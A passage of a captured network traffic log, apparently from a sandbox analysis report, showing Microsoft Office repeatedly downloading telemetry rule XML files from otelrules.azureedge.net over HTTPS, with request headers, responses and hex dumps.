EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.8	49910	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:47 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:47 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:47 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 07391f24-a01e-0032-508c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122847Z-185f5d8b95c5lcmhhC1NYCsnsw0000000a9000000000c1uh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:47 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.8	49912	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:47 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:47 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:47 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: ce1429b8-d01e-005a-2df1-3a7fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122847Z-185f5d8b95cqnkdjhC1NYCm8w80000000a40000000006nnn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:47 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.8	49913	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:47 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:47 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:47 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: b47886c8-201e-00aa-0c8c-3a3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122847Z-185f5d8b95c4hl5whC1NYCeex00000000a3000000000edht x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:47 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.8	49911	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:47 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:47 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:47 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: c9275c76-a01e-000d-7b8c-3ad1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122847Z-185f5d8b95csp6jmhC1NYCwy6s0000000a4000000000epkt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:47 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.8	49914	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:47 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:47 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:47 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: eb1e057a-b01e-0097-688c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122847Z-r1d97b99577dd2gchC1TEBz5ys00000008n000000000bv6g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:47 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.8	49915	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:48 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:48 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:48 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: e2992625-501e-005b-678c-3ad7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122848Z-1777c6cb754mrj2shC1TEB6k7w00000009rg0000000098ua x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:48 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.8	49916	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:48 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:48 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:48 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 073920b7-a01e-0032-4c8c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122848Z-1777c6cb754xrr98hC1TEB3kag00000009bg00000000d6fd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:48 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.8	49917	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:48 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:48 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:48 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 6d560277-a01e-0050-158c-3adb6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122848Z-185f5d8b95cp7lkfhC1NYC7rpw0000000abg0000000097pk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:48 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.8	49918	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:48 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:48 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:48 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 3044792c-001e-005a-088c-3ac3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122848Z-1777c6cb754g9zd5hC1TEBfvpw00000009pg00000000d80c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:48 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.8	49919	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:48 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:48 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:48 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: c9275fb5-a01e-000d-708c-3ad1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122848Z-r1d97b99577tssmjhC1TEB8kan00000008tg000000005b1p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 12:28:48 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.8	49920	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:48 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:48 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:48 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 2155ac17-401e-00a3-238c-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122848Z-1777c6cb754g9zd5hC1TEBfvpw00000009q000000000cknd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:48 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.8	49922	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:48 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:48 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:48 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: c0af4880-401e-00ac-328c-3a0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122848Z-r1d97b99577hc74hhC1TEBvbns00000008n000000000dyct x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
